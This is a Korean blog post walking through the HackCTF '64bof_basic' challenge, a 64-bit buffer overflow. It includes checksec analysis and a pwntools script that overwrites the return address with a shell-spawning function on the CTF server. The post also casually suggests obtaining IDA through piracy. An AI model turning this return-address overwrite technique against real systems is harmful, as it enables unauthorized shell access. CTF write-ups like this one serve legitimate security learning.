반응형
Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
Tags
- ucrtbase.dll
- apphelp.dll
- packet capture
- vcruntime.dll
- Windows Kernel
- pcap packet capture
- 해킹
- 윈도우 커널 드라이버
- 시스템해킹
- HackCTF
- 개발하기
- Windows Kernel Driver
- pwnable
- IAT Hooking
- hacking
- Windows Kernel Debug
- Windows
- pcap packet
- 포너블
- windows kernel debugging
- 네트워크 바이트 오더
- 개발 환경 준비
- 윈도우 커널
- vcruntime140.dll
- arudino
- Network Byte Order
- 바이트 오더
- Msvcrt.dll
- C언어 패킷캡쳐
- 윈도우 커널 디버깅
Archives
- Today
- Total
미친해커
[HackCTF] Pwnable : x64 Buffer Overflow (64bof_basic) 본문
반응형
이번에는 HackCTF의 첫 64Bit Pwnable 문제이다. 기존까지 IDA 32Bit를 이용해서 디스어셈블을 했지만 이번 문제는
IDA 64Bit를 이용해야 한다, (혹시라도 IDA가 없다면 어둠의 경로를 추천..) 그리고 지금까지는 생략했지만 앞으로 문제를 풀기 전에 checksec를 활용해서 꼭 보호기법을 확인하도록 하자
Full RELRO와 NX가 걸려있다. Full RELRO은 GOT Overwrite 기법을 사용할 수 없고 NX는 shellcode를 삽입하여 실행할 수 없다.
main 함수이다. 처음에 scanf에서 Buffer OverFlow가 발생하는걸 확인했다. 그 후에는 별 다른 취약점이 발생하는 부분이 없어보인다. 아마 ret 주소를 덮어씌우는 문제로 보인다. 보통 NX가 걸려있으면 RTL (Return To Library) 기법을 사용하지만 callMeMaybe 라는 함수가 정의되어 있다.
callMeMaybe 함수는 execve 함수로 Shell을 띄워준다.
공격방법은 scanf를 이용해 BOF 발생 -> ret 주소를 callMeMaybe로 덮어쓰기 하는 방법이다.
# file : 64bof_basic.py
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3004)
bof = 0x110 + 8
callMeMaybe = p64(0x400606)
payload = 'A' * bof + callMeMaybe
p.sendline(payload)
p.interactive()
반응형
'Hacking > HackCTF' 카테고리의 다른 글
[HackCTF] Pwnable : Simple_Overflow_ver_2 (0) | 2021.06.21 |
---|---|
[HackCTF] Pwnable : x64 Simple_size_BOF (Simple_size_bof) (0) | 2021.06.19 |
[HackCTF] Pwnable : 내 버퍼가 흘러넘친다!!! (prob1) (0) | 2021.06.17 |
[HackCTF] Pwnable : Basic_FSB (0) | 2021.06.17 |
[HackCTF] Pwnable : Basic_BOF #2 (0) | 2021.06.16 |
Comments